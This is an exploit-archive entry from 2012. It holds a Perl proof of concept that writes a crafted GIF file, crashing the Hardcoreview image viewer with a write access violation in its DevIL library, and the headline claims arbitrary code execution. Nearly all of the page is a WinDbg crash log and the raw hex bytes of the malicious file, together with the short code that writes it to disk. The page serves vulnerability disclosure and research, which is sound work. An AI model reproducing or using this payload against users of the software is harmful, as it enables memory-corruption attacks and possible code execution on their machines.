[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : HCView WriteAV Crash PoC
# Published : 2012-10-07
# Author :
# Previous Title : Internet Explorer 9 XSS Filter Bypass
# Next Title : Ezhometech EzServer 7.0 Remote Heap Corruption Vulnerability
#!/usr/bin/perl
# Hardcoreview WriteAV Arbitrary Code Execution
# Author: Jean Pascal Pereira <pereira@secbiz.de>
# Vendor URI: http://sourceforge.net/projects/hardcoreview/
# Vendor Description:
# Image browser. Designed and created for profesional and amature watching image files.
# All kind of image files ;) . Support *.jpg, *.gif, *.bmp, *.psd, and many more.
# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# CommandLine: "C:Program Fileshardcoreviewhardcoreview.exe" C:researchhcviewcrafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path. *
# * Use .symfix to have the debugger choose a symbol path. *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is:
# ModLoad: 00400000 00443000 hardcoreview.exe
# ModLoad: 7c900000 7c9b2000 ntdll.dll
# ModLoad: 7c800000 7c8f6000 C:WINDOWSsystem32kernel32.dll
# ModLoad: 5ed00000 5edcc000 C:WINDOWSsystem32OPENGL32.dll
# ModLoad: 77c10000 77c68000 C:WINDOWSsystem32msvcrt.dll
# ModLoad: 77dd0000 77e6b000 C:WINDOWSsystem32ADVAPI32.dll
# ModLoad: 77e70000 77f03000 C:WINDOWSsystem32RPCRT4.dll
# ModLoad: 77fe0000 77ff1000 C:WINDOWSsystem32Secur32.dll
# ModLoad: 77f10000 77f59000 C:WINDOWSsystem32GDI32.dll
# ModLoad: 7e410000 7e4a1000 C:WINDOWSsystem32USER32.dll
# ModLoad: 68b20000 68b40000 C:WINDOWSsystem32GLU32.dll
# ModLoad: 73760000 737ab000 C:WINDOWSsystem32DDRAW.dll
# ModLoad: 73bc0000 73bc6000 C:WINDOWSsystem32DCIMAN32.dll
# ModLoad: 10000000 102be000 C:Program FileshardcoreviewDevIL.dll
# ModLoad: 7c420000 7c4a7000 C:WINDOWSWinSxSx86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700MSVCP80.dll
# ModLoad: 78130000 781cb000 C:WINDOWSWinSxSx86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700MSVCR80.dll
# ModLoad: 00350000 00365000 C:Program FileshardcoreviewILU.dll
# ModLoad: 00380000 0038f000 C:Program FileshardcoreviewILUT.dll
# ModLoad: 763b0000 763f9000 C:WINDOWSsystem32comdlg32.dll
# ModLoad: 5d090000 5d12a000 C:WINDOWSsystem32COMCTL32.dll
# ModLoad: 7c9c0000 7d1d7000 C:WINDOWSsystem32SHELL32.dll
# ModLoad: 77f60000 77fd6000 C:WINDOWSsystem32SHLWAPI.dll
# ModLoad: 003a0000 003b5000 C:Program FileshardcoreviewpthreadVC2.dll
# ModLoad: 71ad0000 71ad9000 C:WINDOWSsystem32WSOCK32.dll
# ModLoad: 71ab0000 71ac7000 C:WINDOWSsystem32WS2_32.dll
# ModLoad: 71aa0000 71aa8000 C:WINDOWSsystem32WS2HELP.dll
# ModLoad: 78480000 7850e000 C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963eMSVCP90.dll
# ModLoad: 78520000 785c3000 C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963eMSVCR90.dll
# (e4c.8c8): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000 C:WINDOWSsystem32IMM32.DLL
# ModLoad: 773d0000 774d3000 C:WINDOWSWinSxSx86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202comctl32.dll
# ModLoad: 5ad70000 5ada8000 C:WINDOWSsystem32uxtheme.dll
# ModLoad: 74720000 7476c000 C:WINDOWSsystem32MSCTF.dll
# ModLoad: 77c00000 77c08000 C:WINDOWSsystem32version.dll
# ModLoad: 755c0000 755ee000 C:WINDOWSsystem32msctfime.ime
# ModLoad: 774e0000 7761e000 C:WINDOWSsystem32ole32.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 61dd0000 61dd6000 C:WINDOWSsystem32MCD32.DLL
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# ModLoad: 01620000 0171d000 C:WINDOWSsystem32VBoxOGL.dll
# ModLoad: 01720000 01769000 C:WINDOWSsystem32VBoxOGLcrutil.dll
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
# (e4c.8c8): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0151adc0 ebx=01510178 ecx=0151edf0 edx=d9f3d1b1 esi=0151adb8 edi=01510000
# eip=7c9108f3 esp=0012fb00 ebp=0012fbbc iopl=0 nv up ei ng nz ac pe cy
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010297
# ntdll!wcsncpy+0x374:
# 7c9108f3 8902 mov dword ptr [edx],eax ds:0023:d9f3d1b1=????????
# 0:000> g;r;!exploitable -v;q
# (e4c.8c8): Access violation - code c0000005 (!!! second chance !!!)
# eax=0151adc0 ebx=01510178 ecx=0151edf0 edx=d9f3d1b1 esi=0151adb8 edi=01510000
# eip=7c9108f3 esp=0012fb00 ebp=0012fbbc iopl=0 nv up ei ng nz ac pe cy
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
# ntdll!wcsncpy+0x374:
# 7c9108f3 8902 mov dword ptr [edx],eax ds:0023:d9f3d1b1=????????
# HostMachineHostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WINDOWSWinSxSx86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700MSVCR80.dll -
# *** WARNING: Unable to verify checksum for C:Program FileshardcoreviewDevIL.dll
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FileshardcoreviewDevIL.dll -
# *** ERROR: Module load completed but symbols could not be loaded for hardcoreview.exe
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WINDOWSsystem32kernel32.dll -
# Exception Faulting Address: 0xffffffffd9f3d1b1
# Second Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Write Access Violation
# Exception Hash (Major/Minor): 0x69293f33.0x12365f02
# Stack Trace:
# ntdll!wcsncpy+0x374
# MSVCR80!free+0xcd
# DevIL!icalloc+0x49
# DevIL!ilDxtcDataToImage+0x2e7f
# DevIL!ilDxtcDataToImage+0x308c
# DevIL!ilDxtcDataToImage+0x30e4
# hardcoreview+0x41ba
# kernel32!RegisterWaitForInputIdle+0x49
# Instruction Address: 0x000000007c9108f3
# Proof of Concept:
my $crafted =
"x47x49x46x38x39x61x32x00x32x00xF7x00x00x00x00x00".
"xFFxFFxFFxE0x29x3Fx6Fx2Dx30xB9x78x7AxD9x45x4CxA4".
"x82x84xE6x26x35xE8x27x39xE6x29x3AxD3x2Cx3BxDDx30".
"x40xDEx34x43x6Ax1Cx23x5Bx19x1FxE6x27x3BxE6x29x3D".
"xE2x28x3DxE8x2Ax3ExE6x2Ax40xE1x29x3DxE0x29x3BxEE".
"x2Cx40xE4x2Ax3FxE2x2Ax3FxDFx29x3DxEAx2Cx42xE0x2A".
"x3FxE0x2Ax3DxDFx2Ax3DxDFx2Ax3FxDEx2Ax3BxD9x29x3A".
"xE5x2Cx41xE4x2Dx3FxDCx2Bx3FxDBx2Cx3ExE2x2Ex42xDD".
"x2Dx3Ex7Ax1Cx27x2Dx0Fx12x2Ax16x18xE1x21x3BxE3x23".
"x3DxE3x25x3DxE6x26x3ExE5x26x40xDEx25x3BxE3x27x3F".
"xEDx29x42xE2x27x3DxE1x27x3DxEDx2Ax45xE2x28x3ExE1".
"x28x3FxD7x26x3BxE9x2Ax41xE2x29x40xE1x29x3FxE0x29".
"x40xE8x2Bx44xDFx29x40xDFx29x3FxDDx29x40xD4x27x3F".
"xE3x2Bx43xE0x2Ax40xDAx29x3FxE9x2Dx47xE3x2Cx45xE6".
"x2Dx45xDFx2Cx44xDBx2Bx40xC9x28x3CxE4x2Fx48xDCx2D".
"x44xD2x2Cx43xC6x2Bx3FxAAx27x39x2Cx0Ax0Ex8Fx21x2E".
"x91x2Bx38x4Ax1Bx21xE9x26x42xE1x27x42xECx2Ax47xDF".
"x28x42xDCx2Fx49xD0x30x49xD0x31x4AxEDxA9xB3xCCx31".
"x4DxC8x34x4FxC7x34x4Fx8Dx71x76xC9x32x4FxCFx35x53".
"xC7x34x51xC2x37x53x3Bx19x20xBBx3Ax57x2Bx20x23xAF".
"x40x60x14x0Ex10xC6x95xA6x24x1Cx1Fx22x14x1Ax18x11".
"x14x88x41x63xBFx96xACx1Fx1Ax1Dx0Dx04x0Cx1Ax16x1A".
"x17x15x18x8Bx81x90x25x23x27x1Bx19x22x0Fx0Ex17x7F".
"x7Cx9Bx88x8ExBEx73x82xBDx4Cx55x79x91xA6xF3x84x95".
"xCBx63x74x9FxD1xDBxF4xBBxC0xCCx53x64x8Bx8DxA9xE9".
"x37x4Ax71x8DxAExF4x86xA3xDExD6xE3xFEx93xB6xF6x8B".
"xB3xF5x8BxAFxECx23x31x46x11x1Cx1Ex0Fx12x12x09x14".
"x0Ex0Dx0Bx06x07x06x04x17x12x0CxD2xACx87x0Dx0Cx0B".
"x15x14x13xBEx92x6DxD0xA4x83xD0xA0x7Ex27x1Ex18xCA".
"x9Dx7Fx89x5Dx40x95x67x4BxACx7Bx5BxA1x72x55xB7x86".
"x68xC4x93x74xD1xA5x89x41x2Dx21x8Cx64x4ExCEx97x79".
"xBCx8Cx71xDBxA4x85xE0xA9x8BxC3x95x7BxB1x89x72xD2".
"xA3x88xDAxABx8FxCExA0x87xBBx92x7Ax1Ax15x12x1Ex16".
"x12xD1x9Ax7Fx9Ax74x61xD8xA4x8AxC7x98x7Fx53x3Fx35".
"xD8xA6x8Dx9Bx7Fx71xC1xA3x94x4Ex33x26x6Dx49x39x7C".
"x53x41xCCx94x7BxC3x8Ex76xD4x9Ex85xE3xADx94xCCx9B".
"x85xC2x99x85xCAxA0x8DxD5xA9x95xC3x9Ex8DxB5x94x85".
"xEBxD8xCFx24x15x0FxC1x86x6ExB4x7Dx67xCDx90x77xA6".
"x76x63xD8x9Cx83xDCxA2x8AxD7xA0x88xAAx7Ex6BxD5xA2".
"x8ExD3xA1x8DxDAxA9x94xE3xB1x9CxDExACx98xBEx93x82".
"xE6xB6xA3xBFx98x88xCEx95x81xC6x94x81xDBxA5x91xD4".
"xA5x94xB1x8Bx7DxA9x85x77xE0xB7xA7x60x40x36xBBx83".
"x70xD4x9Dx8AxB2x83x74x90x6Bx5FxB9x8Bx7Cx6Dx53x4A".
"x35x21x1BxC3x9Ex94x7Fx61x59xA3x80x77xD2xA9x9FxCA".
"xA3x99x23x15x12x1Ex19x18xDExCAxC6x30x15x10x16x0A".
"x08xDCx8Ex80x39x27x24xD2x79x6BxDCx85x77x19x12x11".
"xD3xA0x98x2Fx1Dx1BxEDxBCxB6xABx4Fx47x24x18x17xBB".
"x95x92xADx6Ex6AxD9x5Cx5CxB7x6Ax69x1Ex16x16x19x15".
"x15x2Ex28x28x08x07x07xA8xA5xA5xFFxFFxFFx21xF9x04".
"x01x00x00xFFx00x2Cx00x4Bx00x00x32x00x32x00x00x08".
"xFFx00x03x08x1Cx48xB0xA0xC1x83x08x13x2Ax5CxC8xB0".
"x21x43x32x5FxB8x48x9Cx38xF1xCBx97x2Ex5FxB6x5Cx0C".
"xC3x65x8Bx46x8Bx5Dx30x5Ax1Cx79xB1x0Bx45x89x5BxCC".
"x18x64x22xA0xA5xCBx97x02x32x64x40x82x84x4Ax8Ex0A".
"x0Fx20x98x88x00xA1xC3x87x08x35x90x8CxF0x30xD4x86".
"x0Dx1Dx30x5Bx86x31x88x25xE9x4Bx0Fx1Ex5CxB4xB0xD1".
"xC3x46x08x1Ex41x96x14x31x42x84xC6x04x0Ax32x6AxF8".
"xF0x31x62x04x0CxA4x49xC5x30x75xDAx52x47x8Fx1Fx3A".
"x28x54x90x40xC4x49x03x07x78x1Bx9Cx70xC2x84xC8x04".
"x19x30x5Cx10x15x80x16xA6xDAx82x4DxD9xFAx80x61x63".
"x04x8Fx2Ax4Dx4Ex3Cx61x04x69x1Dx24x46xEBxD6xA9x6B".
"xD0x44x49x88x16x35x46xD8xA8xE1xF4x30xC1xC4x30x75".
"x78x88x09xA1xAEx03x14xEBx1CxC5x39xB3x46x55xA4x35".
"x91x16x31x42x71x82x49x15x18x19x60x90x4ExBBxD6x65".
"x0Dx0Ax3Fx6Ax74xE8x30xC5xC8x09x47x67xCEx38x82x87".
"x1Bx9ExA3x48x71xE2xA8x82xA7x08xD2x18x27x26x12xF4".
"xFFxE8x51xDAx60x96x97x14x32xECxD0x21x03xC7x95x06".
"x8Cx1AxADx93xE7x49x9Ex3Ex7DxB6x23x4Dx57xC5x3FxB7".
"x23x28x55x50x40x42x79x05x9DxE7x92x07x1DxC0x20x00".
"x0Cx55x34x00xC9x1BxEBxD0x52x4Bx2Dx9Ex08xB3xCAx2A".
"xF0xC0xA3xCAx3Ex91xC0x73x1Fx3AxF7x39x61xC1x07x04".
"x12x64xA0x4Bx3Ex78x10x01x11x50xACxD3xCFx3AxB6x60".
"x72xC9x25xDAx78x62x63x38xF5xECx93x1Dx3CxE7x54xB2".
"x8Ax1Ax89x84xD3x84x04x25x0Ex74xA2x00x36x08x30xC2".
"x04x4Dx08x53x59x2Dx99x64xA2x89x26x98xD8x52x8Bx95".
"xB4xE0xB8x8Fx3ExABxB4xD3xCEx2Ax71xB8x31x40x10x17".
"x10x57xE0x53x61x39xC7xC8x1BxB4x44x99x09x31x6ExCE".
"xA8xC9x27x14xD6x83x4Ex19xE1xD4x08x0Fx1DxFCx38xA1".
"x81x07x49xDAxB0x9Ax69x46xC2x44x81x08x49xA8x03x89".
"x30x9Fx6CxB2xC9x30x8Ex46xAAx89xA3x99x5Cx42x4Bx3D".
"x5Ex6AxF3x49x38x6ExCCx31x40x09x1Fx50xC1x41x0Dx83".
"x9Ax07x13x06x46xB4x08x49x3BxCAx84xE2x2Ax27x9Cx0C".
"xFFx23x09x2ExA1xE0x72x0Bx29xA1x7Cx42x0Bx3FxB0xD0".
"xD2x4Ax2Dx70xCCxD1x4Ex12x13x58xD1x41x0Dx3Bx08x40".
"xA8x40x47xDAx20xC4x11x0Ex28x72x06x2DxDDxE0x82x0B".
"x29x9Cx14xA3xEDx2DxACxB0x02x0Ax28xD6x62xE2x09x2C".
"xDAxD8x02x4Ex24x73xCCx11x05x0Dx54xA4x47xDExB2x01".
"x1CxA9x03x06x40x84x03xC7xB4xA5xA4xF2x0Ax35xDCxDE".
"x72xCBx34xB9xE4xC2xCAxBExB7xE0xF2x09x2Cx9FxD8x02".
"x8Bx23x9Dx0ExC0xC3x14x15xA4xA8xACxA9x2Fx5DxC0x44".
"x3Bx74x44x02x4Bx2AxA9x28x83x8Dx34xD6x54xB3x4Cx32".
"xDCx30xB3x0Cx37xC9x30xD3x0Bx34xDEx68x92x89x36xF0".
"x34x1Cx83x10x1FxB8x90x2CxBCx47x66x00x41x12xEDxA4".
"x01x0Fx38xD3xB4x02x0Ex38xE3xC8xC2xCBx32xCFx3CxD3".
"x4Cx33xCFx58x03x8Cx2CxB2x78x63x8Cx24xB6xC0x91x86".
"xBAx31x90x40x82x0Bx0AxE2xFCxD2x0Ex13x28x30x46x1A".
"x8ExD8x82x4Bx2BxE4x78x31xCEx38xADxA4xC2x4Dx35xD5".
"xC4xB2x8Bx2CxE3x0CxCDx36xD5xAAxA4xE1x46x14x25x3C".
"xFFx30x02x92x13x9FxE9x92x0Dx13x30x31x06x1DxF0x8C".
"xC3x8Bx34xE6xF4xE2x38x34xAFxB0x72x4Cx32xB9x50x93".
"x2Fx35xD0x5Cx93x0Ax27xB6xC4x8Cx4Ex14x46xB4x30x42".
"x07x2Dx79x6Dx1Cx04x4Dx8Cx71x5Fx2DxDBx7Cx73x0Dx39".
"xE3x78xF3xCDx37xD0xA0x22xB2x24xDFx60x23xCBx35xC0".
"xA4x62x89x2Dx6BxACxB1x0FxE8x36x73x50x3AxC5x2DxD5".
"xB0xF3x00xE0x9Cx63xCBx27xDEx18xE0x0Dx38xDAx90x63".
"x0Fx30xADx74x83x0Dx39xDDxD4x02x8Bx17x6Dx5CxE3x8D".
"x36x95xA8xB3x8Ax13x25xCCx60x43x04x14x04x6Ex22x4C".
"x39x80x40x8Fx31x29xB4xE2x8Bx39xE6x88x23xCDx37xDD".
"x5Cx83x0Dx26x92x88x9Ex31xD0x66x0Fx34x48x23x15x07".
"xC3x04x2Dx92x50x01x01x58xE1x38xEEx2BxD4x4Bx7Ax50".
"x01x7Ax0Cx43x1BxC6x70x45x3CxCAxE1x8Cx66xECxE2x16".
"xDFx68x45x28x46xA1x0Cx65x94x82x1AxB1x70x45x33xAA".
"x71x8Ax97x19x83x1Ex37x80x40x0Dx7Ax40xBAx08x32xEB".
"x25x46xA1x40x01x8Ax51x0Bx65xB8xC2x17xD9xC8x86x35".
"xFFx76x81x0Ax54xBCx22x16xBAxA0x04x35x48x91x8Ax5D".
"xC4xC2x19xB1x10x05x31x6AxA1x89x02x0CxC1x06x67x19".
"x8Bx0DxE3x85xC3x1CxCCx80x01xEExB0x05x31x62x11x8D".
"x79x64xA3x19xB1x48xDAx32x9AxA1x0Bx64x98x62x19xBB".
"x60xC6x33xA2xA1x0Bx51x18xC3x16xEEx30x01x16x73xB0".
"xA0x24x99xCEx25x23x68xC1x0BxF0x41x8Ax61x2CxC3x19".
"x41x74x86x2ExAAxC1x0Dx6ExB0x11x19xACx70xE4x1CxA3".
"x31x0Ax29x0Ex03x1Fx2Ax70x01x06xA0xC2x98x2Dx1Ex89".
"x28x30x78x41x01x90x71x8Bx5Dx4CxD2x19xC9xD8x06x37".
"x9Cx11x8Dx56x22x63x1BxD3x78x86x33x9Cx31x0Ax50x14".
"xE3x1Dx26x50x41x92xCAx72x14x4FxBEx24x03x11xD8xC1".
"x0Fx66xF0x8Ex5DxB0x82x69x8Ax2Cx06x2Cx09xB0x0Bx6E".
"xE0x62x1AxD3xD8x46x35x74x31x0Ax57x80x82x12xF8x78".
"x81x07x74xD0xC9x1Ax20xE5x8Fx48x52xD0x0Ex06xC9x0E".
"x56x24x03x19xA7x38x86xC9xBAx61x0CxDAx29xE3x1BxCD".
"x00x98x28x8Ex91x0Bx50x88x02x93x1Bx10x40x0Dx6Ax60".
"xFFx94xE3x09xAEx2Dx8DxD1x41x0Dx6Ex80x8Fx5DxE4xE2".
"x18xA6xD8x45xFExECx21x0ExFCxE9xEFx17xBBx20x85xB7".
"x28x51x0Cx7Cx84xC0x07x6Cx01x67x4BxFExE6x02x15x14".
"x80x15x93x98x04x2AxA4xF1x8Bx59x94x23x1Ex28x2Dx87".
"x39x7ExC1x0Bx89x52x62x12xEFxF8xC0x0Bx46xC0x47x33".
"xBDx6Fx70x30x20x4Bx0Ex56xC0x80x62x84x74x17x99xEB".
"x86x32xF2x41xD4x7Bx10xA0x1BxA5x80xC6x24x8Ex31x09".
"x77xB0xE0x07x5Cx2BxD2x0Dx5Fx92xC5x11x64xE0x05xEE".
"xE8x84x25xF6xF5x0Dx02x78x35x1FxE9x08x40x3AxBAx11".
"xD6x60x50x82x12xF3x30x88x16xB4x10x00x2DxF8x12x45".
"x8Bx11x4Bx0Fx56xF0xD1x64x58x22x8ExCCx08xC6x40x00".
"xB0x57x82x00xE0xAFx80x15x08x5FxDBx8AxBCx96xACxEF".
"x01x2DxA0x02x0Cx86x40x00x54x4CxA2x13x22x0Dx00x60".
"x27x3Bx59xC9x4Ax96xAFx98x0Dx6Cx61x05xE0x83x1Fx0C".
"x01x09x02x38x00x18x0CxF0x0Ax50xACxD1x17x7Ax15xAC".
"x6AxFDx7Ax59xCBx0Ex76xB0xFFx24x0Cx0CxACx40x05x2A".
"xFFx48x00x01x6Cx90x03x25x48x01x0Dx6BxA0x76xB5x94".
"x15x6Cx70xFFx6AxD9xE2x08x40x08x3Bx18xC1x07x12xA0".
"x01x26x9Cx20x0Fx77xB8xC6x23x38x06x0CxD7x16xD7xB2".
"x7Dx70x2Dx66xB5x7Bx10xD4x70x36x07x31x10x81x13xC6".
"x50x07x3ExE8xC1x0ExA4xA8x06x2Fx4Ax11x56xE2x5AxB7".
"x0Fx85xE0xEEx76x05xC2xD6x82xB0xC4x07x35x98x80x06".
"x96xE0x04x07xE4x08x0Ex78x38xC4x20xECx90x8Ax58x74".
"x82x17xEDxEDx2Bx6Cx29x9Bx59xF7x16x04x08x24xB8x00".
"x0Dx98x10x05x29xA4xC0x0Dx74xD8x07x1DxF0x00x08x01".
"xDBxC1x00xA8xD0x2Bx71x19xBCxDDx11xB3xD6x20x0Ax68".
"x6Ex85xEBx91x86x16xBBx01x0ExE5x3Dx04x20x04x01x08".
"x3BxC8xC2xBAxC5x5Dx70x6Bx19x7Cx10x27x40x41x0AxF2".
"xE8x54x19xF8xD1x62x18xFFx81xC6x87x30x84x21xF6xE0".
"x07xD5x66x77xBBx80x90xEFx89x0Bx32x86x32xD0xA1x0C".
"x69xE0x87x96xF9xF1xE2x3Ax04x82xC6x1Dx2Ex44x21xF6".
"x20x07xCBx16xE2xC9x7CxC5x83x75xDDx4Bx5Cx7Fx18x24".
"x33xCBx2Dx1ExF2x96x5Fx1Cx09x44x0Cx02x10x33x16x73".
"x21xFExD0x64x42x14xE2x10xD9x0Dx00x21xFExE0xE6x42".
"x0BxC4x1Fx6Ex0Ex80x3FxCAxE0x90x46x3BxFAxD1x90x8E".
"x34x41x02x02x00x3B";
open(C, ">:raw", "crafted.gif");
print C $crafted;
close(C);
# http://0xffe4.org